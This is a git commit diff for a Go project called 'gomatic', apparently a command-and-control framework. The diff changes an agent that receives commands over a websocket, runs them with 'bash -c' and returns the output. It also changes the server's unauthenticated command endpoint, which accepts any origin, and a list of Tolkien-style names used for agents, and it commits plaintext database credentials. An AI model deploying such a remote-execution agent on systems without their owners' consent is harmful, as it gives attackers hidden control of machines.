fixed websocket messages, which were plaintext or just bytes. A JSON object was needed to differentiate between commands and what was returned to the server as a response. The random naming function now has lower case suffixes
This commit is contained in:
parent
68f135fb7b
commit
3e4722e3ca
6
.env
6
.env
|
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
export DB_HOST="127.0.0.1"
|
||||
export DB_HOST="172.17.0.2"
|
||||
export DB_PORT=3306
|
||||
export DB_USERNAME="mysql"
|
||||
export DB_PASSWORD="mysql"
|
||||
export DB_USERNAME="root"
|
||||
export DB_PASSWORD="root"
|
||||
export DB_NAME="gomatic"
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@ package main
|
|||
|
||||
import (
|
||||
// "bytes"
|
||||
// "encoding/json"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
|
|
@ -32,6 +32,11 @@ type Agent struct {
|
|||
LastContact string `json:"lastContact"`
|
||||
}
|
||||
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
Payload string `json:"payload"`
|
||||
}
|
||||
|
||||
|
||||
var conn *websocket.Conn
|
||||
|
||||
|
|
@ -85,22 +90,40 @@ func listenForCommands() {
|
|||
defer conn.Close()
|
||||
|
||||
for {
|
||||
_, message, err := conn.ReadMessage()
|
||||
_, rawMessage, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
log.Printf("Error reading message: %v", err)
|
||||
break
|
||||
}
|
||||
|
||||
command := string(message)
|
||||
var message Message
|
||||
if err := json.Unmarshal(rawMessage, &message); err != nil {
|
||||
log.Printf("Error unmarshalling message: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
if message.Type != "command" {
|
||||
log.Printf("Ignoring non-command message: %v", message)
|
||||
continue
|
||||
}
|
||||
|
||||
command := message.Payload
|
||||
log.Printf("Received command: %s", command)
|
||||
|
||||
cmd := exec.Command("bash", "-c", command)
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
output = append(output, []byte(fmt.Sprintf("\n Error executing command: %v", err))...)
|
||||
|
||||
response := Message{
|
||||
Type: "response",
|
||||
Payload: string(output),
|
||||
}
|
||||
|
||||
if err := conn.WriteMessage(websocket.TextMessage, output); err != nil {
|
||||
if err != nil {
|
||||
response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
|
||||
}
|
||||
|
||||
responseBytes, _ := json.Marshal(response)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
|
||||
log.Printf("Error sending output: %v", err)
|
||||
break
|
||||
}
|
||||
|
|
|
|||
|
|
@ -13,200 +13,200 @@ func GenerateRandomName() string {
|
|||
|
||||
var (
|
||||
suffixes = []string {
|
||||
"Ai",
|
||||
"Albjofe",
|
||||
"Alfr",
|
||||
"Amras",
|
||||
"Amrod",
|
||||
"An",
|
||||
"Anarr",
|
||||
"Anduin",
|
||||
"Andvari",
|
||||
"Aragorn",
|
||||
"Arathorn",
|
||||
"Aredhel",
|
||||
"Artanis",
|
||||
"Arwen",
|
||||
"Austri",
|
||||
"Bafurr",
|
||||
"Beleg",
|
||||
"Beorn",
|
||||
"Beren",
|
||||
"Bilbo",
|
||||
"Billingr",
|
||||
"Bomburr",
|
||||
"Boromir",
|
||||
"Bruni",
|
||||
"Bufurr",
|
||||
"Buldr",
|
||||
"Buri",
|
||||
"Caranthir",
|
||||
"Celeborn",
|
||||
"Celebrian",
|
||||
"Celebrían",
|
||||
"Celegorm",
|
||||
"Cirdan",
|
||||
"Círdan",
|
||||
"Cotton",
|
||||
"Curufin",
|
||||
"Dainn",
|
||||
"Damrod",
|
||||
"Denethor",
|
||||
"Dilgbrasir",
|
||||
"Dori",
|
||||
"Draupnir",
|
||||
"Dufr",
|
||||
"Duilin",
|
||||
"Durinn",
|
||||
"Dvalinn",
|
||||
"Eärendil",
|
||||
"Eärwen",
|
||||
"Ecthelion",
|
||||
"Eikinskjaldi",
|
||||
"Eldarion",
|
||||
"Elendil",
|
||||
"Elessar",
|
||||
"Elladan",
|
||||
"Elrohir",
|
||||
"Elrond",
|
||||
"Eluréd",
|
||||
"Elurín",
|
||||
"Elwing",
|
||||
"Envinyatar",
|
||||
"Eöl",
|
||||
"Eomer",
|
||||
"Eowyn",
|
||||
"Éowyn",
|
||||
"Erestor",
|
||||
"Faniel",
|
||||
"Faramir",
|
||||
"Fëanor",
|
||||
"Fili",
|
||||
"Finduilas",
|
||||
"Fingolfin",
|
||||
"Fingon",
|
||||
"Finnr",
|
||||
"Finrod",
|
||||
"Flalarr",
|
||||
"Frar",
|
||||
"Frawgr",
|
||||
"Frodo",
|
||||
"Frosti",
|
||||
"Fundinn",
|
||||
"Galadriel",
|
||||
"Gandalf",
|
||||
"Gandalfr",
|
||||
"Gildor",
|
||||
"Gil-galad",
|
||||
"Gilwen",
|
||||
"Gimli",
|
||||
"Ginnarr",
|
||||
"Gloinn",
|
||||
"Glorfindel",
|
||||
"Goldberry",
|
||||
"Gollum",
|
||||
"Haldir",
|
||||
"Hanarr",
|
||||
"Har",
|
||||
"Haugspori",
|
||||
"Hepti",
|
||||
"Hirnbori",
|
||||
"Hlevangr",
|
||||
"Húrin",
|
||||
"Idril",
|
||||
"Imladris",
|
||||
"Indis",
|
||||
"Isildur",
|
||||
"Isilme",
|
||||
"Istarien",
|
||||
"Itarillë",
|
||||
"Idril",
|
||||
"Jari",
|
||||
"Kili",
|
||||
"Lalaith",
|
||||
"Legolas",
|
||||
"Lindir",
|
||||
"Lissë",
|
||||
"Litr",
|
||||
"Lofarr",
|
||||
"Loni",
|
||||
"Lothíriel",
|
||||
"Luthien",
|
||||
"Lúthien",
|
||||
"Maedhros",
|
||||
"Maeglin",
|
||||
"Maglor",
|
||||
"Melian",
|
||||
"Meneldor",
|
||||
"Merry",
|
||||
"Brandybuck",
|
||||
"Míriel",
|
||||
"Morwen",
|
||||
"Motsognir",
|
||||
"Nainn",
|
||||
"Nali",
|
||||
"Nar",
|
||||
"Narr",
|
||||
"Nellas",
|
||||
"Nerdanel",
|
||||
"Nessa",
|
||||
"Nienna",
|
||||
"Nienor",
|
||||
"Nimloth",
|
||||
"Nimrodel",
|
||||
"Níniel",
|
||||
"Nioi",
|
||||
"Nipingr",
|
||||
"Nori",
|
||||
"Norori",
|
||||
"Nyraor",
|
||||
"Nyu",
|
||||
"Ori",
|
||||
"Orodreth",
|
||||
"Orophin",
|
||||
"Pekkr",
|
||||
"Pengolodh",
|
||||
"Pippin",
|
||||
"Took",
|
||||
"Porinn",
|
||||
"Prainn",
|
||||
"Pror",
|
||||
"Qurvangr",
|
||||
"Raosvidr",
|
||||
"Reginn",
|
||||
"Rosamunda",
|
||||
"Rúmil",
|
||||
"Samwise",
|
||||
"Gamgee",
|
||||
"Saruman",
|
||||
"Sauron",
|
||||
"Skafidr",
|
||||
"Skirvir",
|
||||
"Suori",
|
||||
"Sviorr",
|
||||
"Tauriel",
|
||||
"Theoden",
|
||||
"Théoden",
|
||||
"Thingol",
|
||||
"Thorin",
|
||||
"Thranduil",
|
||||
"Tinúviel",
|
||||
"Treebeard",
|
||||
"Tuor",
|
||||
"Turambar",
|
||||
"Turgon",
|
||||
"Urwen",
|
||||
"Vairë",
|
||||
"Varda",
|
||||
"Veigr",
|
||||
"Vestri",
|
||||
"Vievir",
|
||||
"Vili",
|
||||
"Vindalfr",
|
||||
"Vitr",
|
||||
"Wormtongue",
|
||||
"Yavanna",
|
||||
"Yngvi",
|
||||
"ai",
|
||||
"albjofe",
|
||||
"alfr",
|
||||
"amras",
|
||||
"amrod",
|
||||
"an",
|
||||
"anarr",
|
||||
"anduin",
|
||||
"andvari",
|
||||
"aragorn",
|
||||
"arathorn",
|
||||
"aredhel",
|
||||
"artanis",
|
||||
"arwen",
|
||||
"austri",
|
||||
"bafurr",
|
||||
"beleg",
|
||||
"beorn",
|
||||
"beren",
|
||||
"bilbo",
|
||||
"billingr",
|
||||
"bomburr",
|
||||
"boromir",
|
||||
"bruni",
|
||||
"bufurr",
|
||||
"buldr",
|
||||
"buri",
|
||||
"caranthir",
|
||||
"celeborn",
|
||||
"celebrian",
|
||||
"celebrían",
|
||||
"celegorm",
|
||||
"cirdan",
|
||||
"círdan",
|
||||
"cotton",
|
||||
"curufin",
|
||||
"dainn",
|
||||
"damrod",
|
||||
"denethor",
|
||||
"dilgbrasir",
|
||||
"dori",
|
||||
"draupnir",
|
||||
"dufr",
|
||||
"duilin",
|
||||
"durinn",
|
||||
"dvalinn",
|
||||
"eärendil",
|
||||
"eärwen",
|
||||
"ecthelion",
|
||||
"eikinskjaldi",
|
||||
"eldarion",
|
||||
"elendil",
|
||||
"elessar",
|
||||
"elladan",
|
||||
"elrohir",
|
||||
"elrond",
|
||||
"eluréd",
|
||||
"elurín",
|
||||
"elwing",
|
||||
"envinyatar",
|
||||
"eöl",
|
||||
"eomer",
|
||||
"eowyn",
|
||||
"éowyn",
|
||||
"erestor",
|
||||
"faniel",
|
||||
"faramir",
|
||||
"fëanor",
|
||||
"fili",
|
||||
"finduilas",
|
||||
"fingolfin",
|
||||
"fingon",
|
||||
"finnr",
|
||||
"finrod",
|
||||
"flalarr",
|
||||
"frar",
|
||||
"frawgr",
|
||||
"frodo",
|
||||
"frosti",
|
||||
"fundinn",
|
||||
"galadriel",
|
||||
"gandalf",
|
||||
"gandalfr",
|
||||
"gildor",
|
||||
"gil-galad",
|
||||
"gilwen",
|
||||
"gimli",
|
||||
"ginnarr",
|
||||
"gloinn",
|
||||
"glorfindel",
|
||||
"goldberry",
|
||||
"gollum",
|
||||
"haldir",
|
||||
"hanarr",
|
||||
"har",
|
||||
"haugspori",
|
||||
"hepti",
|
||||
"hirnbori",
|
||||
"hlevangr",
|
||||
"húrin",
|
||||
"idril",
|
||||
"imladris",
|
||||
"indis",
|
||||
"isildur",
|
||||
"isilme",
|
||||
"istarien",
|
||||
"itarillë",
|
||||
"idril",
|
||||
"jari",
|
||||
"kili",
|
||||
"lalaith",
|
||||
"legolas",
|
||||
"lindir",
|
||||
"lissë",
|
||||
"litr",
|
||||
"lofarr",
|
||||
"loni",
|
||||
"lothíriel",
|
||||
"luthien",
|
||||
"lúthien",
|
||||
"maedhros",
|
||||
"maeglin",
|
||||
"maglor",
|
||||
"melian",
|
||||
"meneldor",
|
||||
"merry",
|
||||
"brandybuck",
|
||||
"míriel",
|
||||
"morwen",
|
||||
"motsognir",
|
||||
"nainn",
|
||||
"nali",
|
||||
"nar",
|
||||
"narr",
|
||||
"nellas",
|
||||
"nerdanel",
|
||||
"nessa",
|
||||
"nienna",
|
||||
"nienor",
|
||||
"nimloth",
|
||||
"nimrodel",
|
||||
"níniel",
|
||||
"nioi",
|
||||
"nipingr",
|
||||
"nori",
|
||||
"norori",
|
||||
"nyraor",
|
||||
"nyu",
|
||||
"ori",
|
||||
"orodreth",
|
||||
"orophin",
|
||||
"pekkr",
|
||||
"pengolodh",
|
||||
"pippin",
|
||||
"took",
|
||||
"porinn",
|
||||
"prainn",
|
||||
"pror",
|
||||
"qurvangr",
|
||||
"raosvidr",
|
||||
"reginn",
|
||||
"rosamunda",
|
||||
"rúmil",
|
||||
"samwise",
|
||||
"gamgee",
|
||||
"saruman",
|
||||
"sauron",
|
||||
"skafidr",
|
||||
"skirvir",
|
||||
"suori",
|
||||
"sviorr",
|
||||
"tauriel",
|
||||
"theoden",
|
||||
"théoden",
|
||||
"thingol",
|
||||
"thorin",
|
||||
"thranduil",
|
||||
"tinúviel",
|
||||
"treebeard",
|
||||
"tuor",
|
||||
"turambar",
|
||||
"turgon",
|
||||
"urwen",
|
||||
"vairë",
|
||||
"varda",
|
||||
"veigr",
|
||||
"vestri",
|
||||
"vievir",
|
||||
"vili",
|
||||
"vindalfr",
|
||||
"vitr",
|
||||
"wormtongue",
|
||||
"yavanna",
|
||||
"yngvi",
|
||||
}
|
||||
|
||||
prefixes = []string{
|
||||
|
|
|
|||
|
|
@ -1,46 +1,128 @@
|
|||
package websocketserver
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"github.com/gorilla/websocket"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type webSocketHandler struct {
|
||||
upgrader websocket.Upgrader
|
||||
}
|
||||
|
||||
var agentSockets = make(map[string]*websocket.Conn)
|
||||
var agentSocketsMutex sync.Mutex
|
||||
|
||||
var getAgentNames http.HandlerFunc = func(w http.ResponseWriter, r *http.Request) {
|
||||
agentSocketsMutex.Lock()
|
||||
agentNames := make([]string, 0, len(agentSockets))
|
||||
for agentName := range agentSockets {
|
||||
agentNames = append(agentNames, agentName)
|
||||
}
|
||||
agentSocketsMutex.Unlock()
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(agentNames)
|
||||
|
||||
}
|
||||
|
||||
// func (wsh webSocketHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// c, err := wsh.upgrader.Upgrade(w, r, nil)
|
||||
// if err != nil {
|
||||
// log.Printf("Error %s when upgrading connection to websocket", err)
|
||||
// return
|
||||
// }
|
||||
// defer c.Close()
|
||||
|
||||
// _, agentNameBytes, err := c.ReadMessage()
|
||||
// if err != nil {
|
||||
// log.Printf("Failed to read agent name: %s", err)
|
||||
// return
|
||||
// }
|
||||
|
||||
// agentName := string(agentNameBytes)
|
||||
// agentSocketsMutex.Lock()
|
||||
// agentSockets[agentName] = c
|
||||
// agentSocketsMutex.Unlock()
|
||||
|
||||
// log.Printf("Agent registered: %s", agentName)
|
||||
|
||||
// for {
|
||||
// mt , message, err := c.ReadMessage()
|
||||
// if err != nil {
|
||||
// log.Printf("Error reading message: %s from agent: %s", err, agentName)
|
||||
// }
|
||||
|
||||
// log.Printf("Received message: %s from agent: %s", message, agentName)
|
||||
// if err = c.WriteMessage(mt, message); err !=nil {
|
||||
// log.Printf("Error writing the message: %s", err)
|
||||
// break
|
||||
// }
|
||||
// }
|
||||
|
||||
// agentSocketsMutex.Lock()
|
||||
// delete(agentSockets, agentName)
|
||||
// agentSocketsMutex.UnLock()
|
||||
// log.Printf("Agent disconnected: %s", agentName)
|
||||
// }
|
||||
|
||||
func (wsh webSocketHandler) ServeHTTP(w http.ResponseWriter, r *http.Request){
|
||||
c, err := wsh.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("Error %s when upgrading connection to websocket", err)
|
||||
return
|
||||
}
|
||||
defer c.Close()
|
||||
|
||||
agentName := r.URL.Query().Get("agentName")
|
||||
agentIP := r.URL.Query().Get("IPv4Address")
|
||||
if agentName == "" || agentIP == "" {
|
||||
log.Printf("Missing agentName or IPv4Address in query parameters")
|
||||
c.Close()
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("Agent connected: %s (%s)", agentName, agentIP)
|
||||
|
||||
agentSocketsMutex.Lock()
|
||||
agentSockets[agentName] = c
|
||||
agentSocketsMutex.Unlock()
|
||||
|
||||
defer func() {
|
||||
agentSocketsMutex.Lock()
|
||||
delete(agentSockets, agentName)
|
||||
agentSocketsMutex.Unlock()
|
||||
c.Close()
|
||||
log.Printf("Agent disconnected: %s (%s)", agentName, agentIP)
|
||||
}()
|
||||
|
||||
for {
|
||||
mt, message, err := c.ReadMessage()
|
||||
if err != nil {
|
||||
log.Printf("Error reading: message: %s", err)
|
||||
log.Printf("Error reading from agent %s: %v", agentName, err)
|
||||
break
|
||||
}
|
||||
log.Printf("Message from agent %s: %s", agentName, message)
|
||||
|
||||
log.Printf("Received message: %s", message)
|
||||
if err = c.WriteMessage(mt, message); err != nil {
|
||||
log.Printf("Error writing the message: %s", err)
|
||||
log.Printf("Error writing to agent %s: %v", agentName, err)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var agentSockets = make(map[string]*websocket.Conn)
|
||||
var agentSocketsMutex sync.Mutex
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
Payload string `json:"payload"`
|
||||
}
|
||||
|
||||
var executeCommand http.HandlerFunc = func(w http.ResponseWriter, r *http.Request){
|
||||
err := r.ParseForm()
|
||||
if err != nil {
|
||||
http.Error(w, "Invalid form data", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
agentName := r.FormValue("agentName")
|
||||
|
|
@ -55,7 +137,14 @@ var executeCommand http.HandlerFunc = func(w http.ResponseWriter, r *http.Reques
|
|||
return
|
||||
}
|
||||
|
||||
err = conn.WriteMessage(websocket.TextMessage, []byte(command))
|
||||
message := Message {
|
||||
Type: "command",
|
||||
Payload: command,
|
||||
}
|
||||
|
||||
messageBytes, _ := json.Marshal(message)
|
||||
|
||||
err = conn.WriteMessage(websocket.TextMessage, messageBytes)
|
||||
if err != nil {
|
||||
http.Error(w, "Failed to send command to the agent", http.StatusInternalServerError)
|
||||
return
|
||||
|
|
@ -69,11 +158,17 @@ func Server() (*http.Server) {
|
|||
|
||||
|
||||
webSocketHandler := webSocketHandler {
|
||||
upgrader: websocket.Upgrader{},
|
||||
upgrader: websocket.Upgrader{
|
||||
CheckOrigin: func(r *http.Request) bool {
|
||||
return true
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
webSocketMux := http.NewServeMux()
|
||||
webSocketMux.Handle("/data", webSocketHandler)
|
||||
webSocketMux.Handle("/executeCommand", executeCommand)
|
||||
webSocketMux.Handle("/agentNames", getAgentNames)
|
||||
websocketServer := &http.Server{
|
||||
Addr: ":5555",
|
||||
Handler: webSocketMux,
|
||||
|
|
|
|||
Loading…
Reference in New Issue